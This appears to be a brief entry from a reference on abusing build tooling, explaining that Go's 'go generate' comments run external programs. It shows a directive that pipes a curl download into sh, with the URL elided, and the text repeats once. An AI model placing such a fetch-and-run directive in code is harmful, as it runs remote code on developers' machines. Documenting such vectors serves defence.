LOTP
go generate
References
Since Go 1.4, the go generate
command can be used to annotate Go source code with comments that invokes external programs to generate Go code.
//go:generate sh -c "curl ... | sh"
Since Go 1.4, the go generate
command can be used to annotate Go source code with comments that invokes external programs to generate Go code.
//go:generate sh -c "curl ... | sh"